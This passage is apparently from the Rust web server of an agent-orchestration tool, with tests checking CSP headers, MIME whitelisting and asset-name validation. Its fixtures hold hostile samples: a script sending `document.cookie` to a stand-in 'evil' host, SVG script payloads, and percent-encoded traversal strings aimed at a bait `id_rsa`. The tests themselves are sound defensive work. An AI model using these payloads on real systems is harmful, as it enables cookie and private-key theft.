3479/// Every attachment `GET` response: the mime re-validated against the same
3480/// closed whitelist the upload route enforces - never the string trusted
3481/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
3482/// cannot decide it knows better than the type we send. Unlike a panel asset
3483/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
3484/// document renders inline, not agent-authored HTML in a sandboxed frame.
3485fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
3486    let content_type = ATTACHMENT_MIME_WHITELIST
3487        .iter()
3488        .find(|&&m| m == mime)
3489        .copied()
3490        .unwrap_or("application/octet-stream");
3491    (
3492        [
3493            (header::CONTENT_TYPE, content_type),
3494            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3495        ],
3496        body,
3497    )
3498        .into_response()
3499}
3500
3501/// The configuration for a repository, read off the disk for this request.
3502///
3503/// Through [`blocking`] because discovery reads and merges several TOML files,
3504/// and because the alternative - caching it in [`Ui`] at startup - would mean
3505/// the operator's phone kept interviewing with a roster they had already
3506/// changed, with no way to reload it but restarting the server they are not
3507/// sitting in front of.
3508async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3509    let repo = repo.to_path_buf();
3510    blocking(move || {
3511        let (cfg, _) = Config::discover(&repo, None)?;
3512        Ok(cfg)
3513    })
3514    .await
3515}
3516
3517/// The one prefix rule, used for both runs and tasks: a leading match for a
3518/// full id, a trailing match for the short form an operator reads off a
3519/// report. Written here rather than borrowed from `queue::resolve_id` because
3520/// the UI needs the two failures as different status codes, and telling them
3521/// apart from an error message is not something to build a route on.
3522fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3523    let mut hits = ids
3524        .into_iter()
3525        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3526    match (hits.next(), hits.next()) {
3527        (Some(one), None) => Ok(one),
3528        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3529        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3530            "`{prefix}` matches more than one {what}, including {a} and {b}"
3531        ))),
3532    }
3533}
3534
3535#[cfg(test)]
3536mod tests {
3537    use pretty_assertions::assert_eq;
3538    use serde_json::Value;
3539    use tempfile::TempDir;
3540    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3541
3542    use super::*;
3543    use crate::config::Config;
3544    use crate::queue::{Source, TaskStatus};
3545
3546    /// A home with a queue and a runs directory, and a router serving it on
3547    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
3548    /// dependency, not ours - so the tests drive a real socket, which has the
3549    /// side benefit of asserting the status line and content types the phone
3550    /// actually receives.
3551    struct Fixture {
3552        home: TempDir,
3553        addr: SocketAddr,
3554    }
3555
3556    impl Fixture {
3557        async fn start() -> Self {
3558            Self::with_loop(launch_idle).await
3559        }
3560
3561        /// A fixture whose loop is `launch`.
3562        async fn with_loop(launch: Launch) -> Self {
3563            let home = TempDir::new().expect("temp home");
3564            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3565            Self { home, addr }
3566        }
3567
3568        /// A fixture whose `ui.repo` is a real directory rather than the
3569        /// usual placeholder - for the routes that read config off it
3570        /// (`GET /api/repos`) and would otherwise have nothing to discover.
3571        async fn with_repo(repo: PathBuf) -> Self {
3572            let home = TempDir::new().expect("temp home");
3573            let addr = Self::serve(home.path(), repo, launch_idle).await;
3574            Self { home, addr }
3575        }
3576
3577        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3578            let queue = Queue::at(home.join("queue"));
3579            let runs = home.join("runs");
3580            std::fs::create_dir_all(&runs).expect("runs dir");
3581            let worktrees = home.join("wt").join("magi");
3582            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3583            let ui = Ui::new(
3584                queue,
3585                Questions::at(home.join("questions")),
3586                Talks::at(home.join("talks")),
3587                runs,
3588                home.to_path_buf(),
3589                repo,
3590            )
3591            .with_worktrees_root(worktrees)
3592            .with_launch(launch);
3593            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3594                .await
3595                .expect("bind loopback");
3596            let addr = listener.local_addr().expect("local addr");
3597            tokio::spawn(async move {
3598                let _ = axum::serve(listener, ui.router()).await;
3599            });
3600            addr
3601        }
3602
3603        fn queue(&self) -> Queue {
3604            Queue::at(self.home.path().join("queue"))
3605        }
3606
3607        fn questions(&self) -> Questions {
3608            Questions::at(self.home.path().join("questions"))
3609        }
3610
3611        fn talks(&self) -> Talks {
3612            Talks::at(self.home.path().join("talks"))
3613        }
3614
3615        fn runs(&self) -> PathBuf {
3616            self.home.path().join("runs")
3617        }
3618
3619        async fn get(&self, path: &str) -> Res {
3620            request(self.addr, "GET", path, None).await
3621        }
3622
3623        /// The status and headers without the body, which is how the front end
3624        /// preflights a panel: a sandboxed frame is opaque to the parent
3625        /// document, so the only way to tell "no panel" from "a panel that
3626        /// rendered blank" is to ask before mounting.
3627        async fn head(&self, path: &str) -> Res {
3628            request(self.addr, "HEAD", path, None).await
3629        }
3630
3631        async fn post(&self, path: &str, body: Option<&str>) -> Res {
3632            request(self.addr, "POST", path, body).await
3633        }
3634
3635        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
3636            request_with(self.addr, "GET", path, None, extra).await
3637        }
3638
3639        async fn delete(&self, path: &str) -> Res {
3640            request(self.addr, "DELETE", path, None).await
3641        }
3642
3643        /// `POST` a raw body with its own headers - see [`request_bytes`].
3644        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
3645            request_bytes(self.addr, path, headers, body).await
3646        }
3647    }
3648
3649    struct Res {
3650        status: u16,
3651        headers: String,
3652        /// The header block with its original casing, for the assertions that
3653        /// compare a header *value* rather than looking for a name. Lowercasing
3654        /// a CSP would hide a directive spelled with a capital letter, and the
3655        /// whole point of that test is that the string is exactly right.
3656        head: String,
3657        body: String,
3658        /// The body before any UTF-8 handling, for the routes that serve
3659        /// something other than text. A panel asset is a PNG as often as not,
3660        /// and `from_utf8_lossy` would silently replace half of it.
3661        bytes: Vec<u8>,
3662    }
3663
3664    impl Res {
3665        fn json(&self) -> Value {
3666            serde_json::from_str(&self.body)
3667                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
3668        }
3669
3670        /// One header's value verbatim, or `None` when it was not sent.
3671        fn header(&self, name: &str) -> Option<&str> {
3672            self.head.lines().find_map(|line| {
3673                let (key, value) = line.split_once(':')?;
3674                key.trim()
3675                    .eq_ignore_ascii_case(name)
3676                    .then(|| value.trim_start().trim_end_matches('\r'))
3677            })
3678        }
3679    }
3680
3681    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
3682    /// be read to end-of-stream without parsing framing.
3683    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3684        request_with(addr, method, path, body, &[]).await
3685    }
3686
3687    /// As [`request`], with extra request headers - conditional GETs need
3688    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
3689    /// worse than one that sets none.
3690    async fn request_with(
3691        addr: SocketAddr,
3692        method: &str,
3693        path: &str,
3694        body: Option<&str>,
3695        extra: &[(&str, &str)],
3696    ) -> Res {
3697        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3698        for (name, value) in extra {
3699            head.push_str(&format!("{name}: {value}\r\n"));
3700        }
3701        if let Some(body) = body {
3702            head.push_str("Content-Type: application/json\r\n");
3703            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3704        }
3705        head.push_str("\r\n");
3706        if let Some(body) = body {
3707            head.push_str(body);
3708        }
3709        let mut socket = tokio::net::TcpStream::connect(addr)
3710            .await
3711            .expect("connect to the test server");
3712        socket
3713            .write_all(head.as_bytes())
3714            .await
3715            .expect("write request");
3716        let mut raw = Vec::new();
3717        socket.read_to_end(&mut raw).await.expect("read response");
3718        // Split on the raw bytes rather than on a lossy string, so a binary
3719        // body survives to be compared byte for byte.
3720        let split = raw
3721            .windows(4)
3722            .position(|w| w == b"\r\n\r\n")
3723            .expect("a header block");
3724        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3725        let bytes = raw[split + 4..].to_vec();
3726        let status = head
3727            .lines()
3728            .next()
3729            .and_then(|line| line.split_whitespace().nth(1))
3730            .and_then(|code| code.parse().ok())
3731            .expect("a status line");
3732        Res {
3733            status,
3734            headers: head.to_lowercase(),
3735            head,
3736            body: String::from_utf8_lossy(&bytes).into_owned(),
3737            bytes,
3738        }
3739    }
3740
3741    /// A `POST` carrying a raw binary body and its own headers, for the
3742    /// attachment upload route - `request_with` only ever sends
3743    /// `Content-Type: application/json`, which is wrong for an image and
3744    /// would corrupt anything not valid UTF-8 by round-tripping it through
3745    /// `&str` first.
3746    async fn request_bytes(
3747        addr: SocketAddr,
3748        path: &str,
3749        headers: &[(&str, &str)],
3750        body: &[u8],
3751    ) -> Res {
3752        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3753        for (name, value) in headers {
3754            head.push_str(&format!("{name}: {value}\r\n"));
3755        }
3756        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
3757        let mut socket = tokio::net::TcpStream::connect(addr)
3758            .await
3759            .expect("connect to the test server");
3760        socket
3761            .write_all(head.as_bytes())
3762            .await
3763            .expect("write request head");
3764        socket.write_all(body).await.expect("write request body");
3765        let mut raw = Vec::new();
3766        socket.read_to_end(&mut raw).await.expect("read response");
3767        let split = raw
3768            .windows(4)
3769            .position(|w| w == b"\r\n\r\n")
3770            .expect("a header block");
3771        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3772        let bytes = raw[split + 4..].to_vec();
3773        let status = head
3774            .lines()
3775            .next()
3776            .and_then(|line| line.split_whitespace().nth(1))
3777            .and_then(|code| code.parse().ok())
3778            .expect("a status line");
3779        Res {
3780            status,
3781            headers: head.to_lowercase(),
3782            head,
3783            body: String::from_utf8_lossy(&bytes).into_owned(),
3784            bytes,
3785        }
3786    }
3787
3788    /// A run on disk, without touching the process-global magi home.
3789    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3790        let mut state = RunState::new(
3791            PathBuf::from("/repo/magi"),
3792            "main".to_owned(),
3793            "0123456789abcdef".to_owned(),
3794            "Add a web UI\n\nMobile first.".to_owned(),
3795            Config::default(),
3796        );
3797        state.id = id.to_owned();
3798        state.status = status;
3799        let dir = runs.join(id);
3800        std::fs::create_dir_all(&dir).expect("run dir");
3801        std::fs::write(
3802            dir.join("run.json"),
3803            serde_json::to_string_pretty(&state).expect("serialize run"),
3804        )
3805        .expect("write run.json");
3806    }
3807
3808    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3809        let body = serde_json::json!({
3810            "schema": 1,
3811            "pid": 4242,
3812            "started_at": Timestamp::now().to_string(),
3813            "updated_at": updated_at.to_string(),
3814            "idle": false,
3815            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
3816            "completed": 7,
3817            "polls": 143,
3818        });
3819        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3820    }
3821
3822    /// A loop that starts, finds nothing to do, and waits to be told to stop.
3823    ///
3824    /// No test in this file may start the real loop - see [`Ui::launch`] for
3825    /// why - so this stands in for the only thing the routes need a loop to
3826    /// do: keep running until `Stop` is set, then return. A real
3827    /// `serve_until` here would resolve its queue and its status file through
3828    /// the process-global magi home, claim whatever it found in the
3829    /// operator's live backlog, overwrite the status file of the `magi serve`
3830    /// that owns it, and spend real agent quota on a real competition.
3831    fn launch_idle(
3832        _opts: daemon::Opts,
3833        stop: daemon::Stop,
3834    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3835        Box::pin(async move {
3836            while !stop.stopped() {
3837                tokio::time::sleep(Duration::from_millis(2)).await;
3838            }
3839            Ok(())
3840        })
3841    }
3842
3843    /// A loop that fails on the way up, the way one whose home has gone
3844    /// read-only does.
3845    fn launch_broken(
3846        _opts: daemon::Opts,
3847        _stop: daemon::Stop,
3848    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3849        Box::pin(async {
3850            Err(anyhow::anyhow!(
3851                "publish the daemon status file: read-only file system"
3852            ))
3853        })
3854    }
3855
3856    /// The address the parking loop knocks on, and what it heard there.
3857    ///
3858    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
3859    /// capture a fixture's address; this is how it is handed one. Only
3860    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
3861    /// these, so nothing else in this binary can race them.
3862    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3863    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3864
3865    /// A loop that, once it is asked to stop, checks the deck still answers
3866    /// before it goes.
3867    ///
3868    /// It stands in for a run mid-node: `finish_loop` waits for this future,
3869    /// so the request it makes is strictly inside the park window - no sleep
3870    /// and no polling needed to be sure of that.
3871    fn launch_knocking_on_the_way_out(
3872        _opts: daemon::Opts,
3873        stop: daemon::Stop,
3874    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3875        Box::pin(async move {
3876            while !stop.stopped() {
3877                tokio::time::sleep(Duration::from_millis(2)).await;
3878            }
3879            let addr = PARK_KNOCK
3880                .lock()
3881                .expect("park knock")
3882                .expect("the test set an address");
3883            let heard = request(addr, "GET", "/api/health", None).await.status;
3884            *PARK_HEARD.lock().expect("park heard") = Some(heard);
3885            Ok(())
3886        })
3887    }
3888
3889    /// The loop view once `want` accepts it.
3890    ///
3891    /// Polled rather than asserted straight after the POST because stopping
3892    /// is deliberately not instant - that is the contract - and rather than
3893    /// slept through because a fixed wait is either flaky or slow. Two
3894    /// seconds is far longer than a stand-in loop needs and still finite, so
3895    /// a genuine hang fails the test instead of hanging the suite.
3896    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3897        for _ in 0..200 {
3898            let view = fx.get("/api/loop").await.json();
3899            if want(&view) {
3900                return view;
3901            }
3902            tokio::time::sleep(Duration::from_millis(10)).await;
3903        }
3904        panic!(
3905            "the loop never settled: {}",
3906            fx.get("/api/loop").await.json()
3907        );
3908    }
3909
3910    /// File an open question directly in the store the server reads.
3911    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3912        let store = fx.questions();
3913        let mut q = Question::new(
3914            "20260902-000000-beef".to_owned(),
3915            "implement".to_owned(),
3916            "impl-A".to_owned(),
3917            summary.to_owned(),
3918            "because it matters".to_owned(),
3919            choices.iter().map(|c| (*c).to_owned()).collect(),
3920        );
3921        store.put(&mut q).expect("put question");
3922        q.id
3923    }
3924
3925    /// A question with a panel the server can serve, plus the named assets.
3926    ///
3927    /// Written through `Questions::put_panel` rather than by laying out the
3928    /// directory here, so these tests exercise the same on-disk shape the
3929    /// agents produce and cannot pass against a layout only the tests know.
3930    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3931        let store = fx.questions();
3932        let mut q = Question::new(
3933            "20260902-000000-beef".to_owned(),
3934            "land".to_owned(),
3935            "fix".to_owned(),
3936            "Merge this?".to_owned(),
3937            "the diff is in the panel".to_owned(),
3938            vec!["merge".to_owned(), "hold".to_owned()],
3939        );
3940        // Staged outside the questions root, because `put_panel` copies from
3941        // wherever the agent left its files.
3942        let staging = fx.home.path().join("staging");
3943        std::fs::create_dir_all(&staging).expect("staging dir");
3944        let sources: Vec<PathBuf> = assets
3945            .iter()
3946            .map(|(name, bytes)| {
3947                let path = staging.join(name);
3948                std::fs::write(&path, bytes).expect("write staged asset");
3949                path
3950            })
3951            .collect();
3952        store
3953            .put_panel(&mut q, html, &sources)
3954            .expect("write the panel");
3955        store.put(&mut q).expect("put question");
3956        q.id
3957    }
3958
3959    /// A talk on disk, without talking to a model.
3960    ///
3961    /// Written as JSON straight into the store the server reads, because the
3962    /// only constructor `talk::begin` offers takes no turn but still requires
3963    /// a real caller-visible flow. The one thing this cannot make up is the
3964    /// seat, so it is built with the real `SeatState::new` and serialized -
3965    /// the alternative, hand-writing that object, would make these tests fail
3966    /// the day the seat gains a field.
3967    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
3968        let store = fx.talks();
3969        std::fs::create_dir_all(store.root()).expect("talks dir");
3970        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
3971            .expect("serialize a seat");
3972        let body = serde_json::json!({
3973            "schema": 1,
3974            "id": id,
3975            "repo": "/repo/magi",
3976            "agent": "mock",
3977            "status": status,
3978            "turns": [],
3979            "created_at": Timestamp::now().to_string(),
3980            "updated_at": Timestamp::now().to_string(),
3981            "seat": seat,
3982        });
3983        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
3984        store.get(id).expect("the seeded talk has to be readable");
3985        id.to_owned()
3986    }
3987
3988    #[tokio::test]
3989    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3990        let fx = Fixture::start().await;
3991        let id = panel(
3992            &fx,
3993            "<h1>Merge?</h1><img src=\"diff.svg\">",
3994            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3995        );
3996
3997        for path in [
3998            format!("/api/questions/{id}/panel"),
3999            format!("/api/questions/{id}/asset/diff.svg"),
4000        ] {
4001            let res = fx.get(&path).await;
4002            assert_eq!(res.status, 200, "{path}: {}", res.body);
4003            // The whole string, not a substring. A weakened directive - an
4004            // `img-src *` that lets a panel beacon out to a remote host, a
4005            // `script-src` anything, a missing `form-action` that lets it post
4006            // the owner's decision to a third party - has to fail here, and a
4007            // `contains` assertion would let every one of those through.
4008            assert_eq!(
4009                res.header("content-security-policy"),
4010                Some(
4011                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4012                     font-src data:; base-uri 'none'; form-action 'none'; \
4013                     frame-ancestors 'self'"
4014                ),
4015                "{path} is the only thing between a hostile panel and the tailnet"
4016            );
4017            assert_eq!(
4018                res.header("x-content-type-options"),
4019                Some("nosniff"),
4020                "{path}: a browser must not re-decide the type we sent"
4021            );
4022            assert_eq!(
4023                res.header("referrer-policy"),
4024                Some("no-referrer"),
4025                "{path}: a panel must not leak the question id off the machine"
4026            );
4027
4028            // The front end mounts the frame only after a `HEAD` says the
4029            // panel is there, so `HEAD` has to answer with the same status and
4030            // the same policy as `GET` - a preflight that came back without
4031            // the CSP would mean a frame mounted on an unverified promise.
4032            let pre = fx.head(&path).await;
4033            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4034            assert_eq!(
4035                pre.header("content-security-policy"),
4036                res.header("content-security-policy"),
4037                "{path}: the preflight carries the same policy"
4038            );
4039            assert_eq!(
4040                pre.header("content-type"),
4041                res.header("content-type"),
4042                "{path}: the preflight carries the same type"
4043            );
4044        }
4045    }
4046
4047    #[tokio::test]
4048    async fn a_panel_reaches_the_browser_byte_for_byte() {
4049        let fx = Fixture::start().await;
4050        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
4051        // tag, an entity, and a multi-byte character. The sandbox is what makes
4052        // this safe, so nothing here may be rewritten on the way out - a
4053        // rewritten diff is a diff the owner cannot trust.
4054        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
4055        let id = panel(&fx, html, &[]);
4056
4057        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4058
4059        assert_eq!(res.status, 200);
4060        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4061        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4062        assert_eq!(
4063            res.header("content-disposition"),
4064            None,
4065            "the panel itself is rendered in the frame, not downloaded"
4066        );
4067    }
4068
4069    #[tokio::test]
4070    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4071        let fx = Fixture::start().await;
4072        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4073        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4074        let id = panel(
4075            &fx,
4076            "<img src=\"diff.svg\"><img src=\"shot.png\">",
4077            &[("diff.svg", svg), ("shot.png", png)],
4078        );
4079
4080        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4081        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4082
4083        assert_eq!(as_svg.status, 200);
4084        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4085        // An SVG is XML that may carry script. Inside the panel it is an
4086        // `<img src>` and the script cannot run; opened at the top level it
4087        // would be a document on magi's own origin, so the browser is told to
4088        // download it instead of rendering it.
4089        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4090
4091        assert_eq!(as_png.status, 200);
4092        assert_eq!(as_png.header("content-type"), Some("image/png"));
4093        assert_eq!(
4094            as_png.header("content-disposition"),
4095            None,
4096            "a raster image has no execution surface, so tapping it still shows it"
4097        );
4098        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4099    }
4100
4101    #[tokio::test]
4102    async fn an_html_asset_is_never_served_as_html() {
4103        let fx = Fixture::start().await;
4104        let id = panel(
4105            &fx,
4106            "<p>see the notes</p>",
4107            &[
4108                (
4109                    "notes.html",
4110                    b"<script>fetch('http://evil/'+document.cookie)</script>",
4111                ),
4112                ("hook.js", b"fetch('http://evil/')"),
4113                ("data.json", b"{}"),
4114                ("HEADLINE.TXT", b"plain"),
4115            ],
4116        );
4117
4118        for name in ["notes.html", "hook.js", "data.json"] {
4119            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4120            assert_eq!(res.status, 200, "{name}: {}", res.body);
4121            // Serving this as text/html would be a way to reach agent markup
4122            // at the top level of the operator's browser, outside the frame's
4123            // sandbox and outside its CSP - which is the whole thing the panel
4124            // design exists to prevent. Unlisted types are downloads.
4125            assert_eq!(
4126                res.header("content-type"),
4127                Some("application/octet-stream"),
4128                "{name} must not be a type the browser will execute or render"
4129            );
4130        }
4131        // The whitelist is matched case-insensitively, so an agent shouting the
4132        // extension still gets a readable file rather than a download.
4133        let txt = fx
4134            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4135            .await;
4136        assert_eq!(
4137            txt.header("content-type"),
4138            Some("text/plain; charset=utf-8")
4139        );
4140    }
4141
4142    #[tokio::test]
4143    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4144        let fx = Fixture::start().await;
4145        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4146        // Something outside the panel directory that a traversal would reach if
4147        // one got through, so a passing test is not merely "the file was
4148        // missing anyway".
4149        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4150
4151        // Decoded before this server's handler sees them: axum percent-decodes
4152        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
4153        // string with a NUL in it. All three look like ordinary single-segment
4154        // filenames to the router, so the router passes them through and
4155        // `valid_asset_name` is what refuses them - for the literal `..`, and
4156        // for `/`, `\` and NUL not being in the permitted character set.
4157        for encoded in [
4158            "%2e%2e%2fid_rsa",
4159            "..%2fid_rsa",
4160            "..%5cid_rsa",
4161            "%2e%2e%5cid_rsa",
4162            "diff%00.svg",
4163            "..",
4164            ".hidden",
4165            "%2e%2e%2f%2e%2e%2fid_rsa",
4166        ] {
4167            let res = fx
4168                .get(&format!("/api/questions/{id}/asset/{encoded}"))
4169                .await;
4170            assert_eq!(
4171                res.status, 400,
4172                "`{encoded}` has to be refused by name, not looked up: {}",
4173                res.body
4174            );
4175            assert!(res.json()["error"].is_string(), "{}", res.body);
4176        }
4177
4178        // Not decoded, and never this handler's problem: a real slash makes the
4179        // request one segment too long for `/api/questions/{id}/asset/{name}`,
4180        // so axum's router has no route to match and answers before any code
4181        // here runs. Asserted so that a future route with a wildcard segment
4182        // cannot quietly open this door.
4183        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4184            let res = fx
4185                .get(&format!("/api/questions/{id}/asset/{literal}"))
4186                .await;
4187            assert_eq!(
4188                res.status, 404,
4189                "`{literal}` must not match the asset route at all: {}",
4190                res.body
4191            );
4192        }
4193    }
4194
4195    #[tokio::test]
4196    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4197        let fx = Fixture::start().await;
4198        let plain = ask(&fx, "Which backend?", &["SQLite"]);
4199        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4200
4201        // A question nobody wrote a panel for. The client preflights with HEAD
4202        // and cannot see inside a sandboxed frame, so this must be a status and
4203        // not an empty page.
4204        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4205        assert_eq!(none.status, 404, "{}", none.body);
4206        assert!(none.json()["error"].is_string(), "{}", none.body);
4207        assert_eq!(
4208            fx.head(&format!("/api/questions/{plain}/panel"))
4209                .await
4210                .status,
4211            404,
4212            "the preflight is the only way the client can learn this"
4213        );
4214
4215        // A name that is perfectly legal and simply is not there.
4216        let missing = fx
4217            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4218            .await;
4219        assert_eq!(missing.status, 404, "{}", missing.body);
4220        assert!(missing.json()["error"].is_string(), "{}", missing.body);
4221
4222        // A question that does not exist at all, on both routes.
4223        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4224        assert_eq!(
4225            fx.get("/api/questions/nope/asset/diff.svg").await.status,
4226            404
4227        );
4228    }
4229
4230    #[tokio::test]
4231    async fn a_run_with_an_open_question_reads_as_waiting() {
4232        let fx = Fixture::start().await;
4233        let run = "20260902-000000-beef".to_owned();
4234        write_run(&fx.runs(), &run, RunStatus::Implementing);
4235
4236        let before = fx.get("/api/runs").await.json();
4237        assert_eq!(before[0]["waiting"], false, "{before}");
4238
4239        let store = fx.questions();
4240        let mut q = Question::new(
4241            run.clone(),
4242            "implement".to_owned(),
4243            "impl-A".to_owned(),
4244            "Which backend?".to_owned(),
4245            String::new(),
4246            vec!["SQLite".to_owned()],
4247        );
4248        store.put(&mut q).expect("put");
4249
4250        let during = fx.get("/api/runs").await.json();
4251        assert_eq!(during[0]["waiting"], true, "{during}");
4252
4253        // Answered: the run is moving again, and the flag has to follow without
4254        // anything having rewritten run.json.
4255        q.answer(Answer::Choice("SQLite".to_owned()))
4256            .expect("answer");
4257        store.put(&mut q).expect("put");
4258        let after = fx.get("/api/runs").await.json();
4259        assert_eq!(after[0]["waiting"], false, "{after}");
4260    }
4261
4262    #[tokio::test]
4263    async fn an_open_question_is_listed_and_counted_by_health() {
4264        let fx = Fixture::start().await;
4265        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4266
4267        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4268        let listed = fx.get("/api/questions").await.json();
4269        assert_eq!(listed.as_array().expect("array").len(), 1);
4270        assert_eq!(listed[0]["id"], id);
4271        assert_eq!(listed[0]["status"], "open");
4272        assert_eq!(listed[0]["choices"][1], "Redis");
4273        // The count is what makes the phone's indicator honest: it is the one
4274        // number meaning nothing will move until a human acts.
4275        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4276    }
4277
4278    #[tokio::test]
4279    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4280        let fx = Fixture::start().await;
4281        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4282        let path = format!("/api/questions/{id}/answer");
4283
4284        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4285        assert_eq!(res.status, 200, "{}", res.body);
4286        let body = res.json();
4287        assert_eq!(body["status"], "answered");
4288        assert_eq!(body["answer"]["choice"], "Redis");
4289
4290        // Answered from the terminal in between the list and the tap: the UI
4291        // must be able to tell this from a bad request, so it can show the
4292        // recorded answer instead of an error.
4293        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4294        assert_eq!(again.status, 409, "{}", again.body);
4295        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4296    }
4297
4298    #[tokio::test]
4299    async fn saying_something_appends_a_turn_without_answering() {
4300        let fx = Fixture::start().await;
4301        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4302        let path = format!("/api/questions/{id}/say");
4303
4304        let res = fx
4305            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4306            .await;
4307        assert_eq!(res.status, 200, "{}", res.body);
4308        let body = res.json();
4309        assert_eq!(body["status"], "open", "talking back is not a decision");
4310        assert_eq!(body["answer"], Value::Null);
4311        assert_eq!(body["thread"][0]["who"], "operator");
4312        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4313        assert_eq!(body["waiting_on_agent"], true);
4314        // Still open, still counted, still exactly one question.
4315        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4316    }
4317
4318    #[tokio::test]
4319    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4320        let fx = Fixture::start().await;
4321        let store = fx.questions();
4322        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4323        assert_eq!(
4324            fx.get("/api/health").await.json()["questions_needs_owner"],
4325            1
4326        );
4327
4328        // The owner asks back instead of deciding: the ask bar, the nav badge
4329        // and the title must stop naming this question, because there is
4330        // nothing to decide until the agent answers - `status` alone cannot
4331        // say that, which is the whole reason `questions_needs_owner` exists
4332        // alongside `questions_open`.
4333        let res = fx
4334            .post(
4335                &format!("/api/questions/{id}/say"),
4336                Some(r#"{"body":"why not Postgres?"}"#),
4337            )
4338            .await;
4339        assert_eq!(res.status, 200, "{}", res.body);
4340        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4341        assert_eq!(
4342            fx.get("/api/health").await.json()["questions_needs_owner"],
4343            0,
4344            "waiting on the agent is not waiting on the owner"
4345        );
4346
4347        // `magi ask --thread` replying is what brings the owner count back -
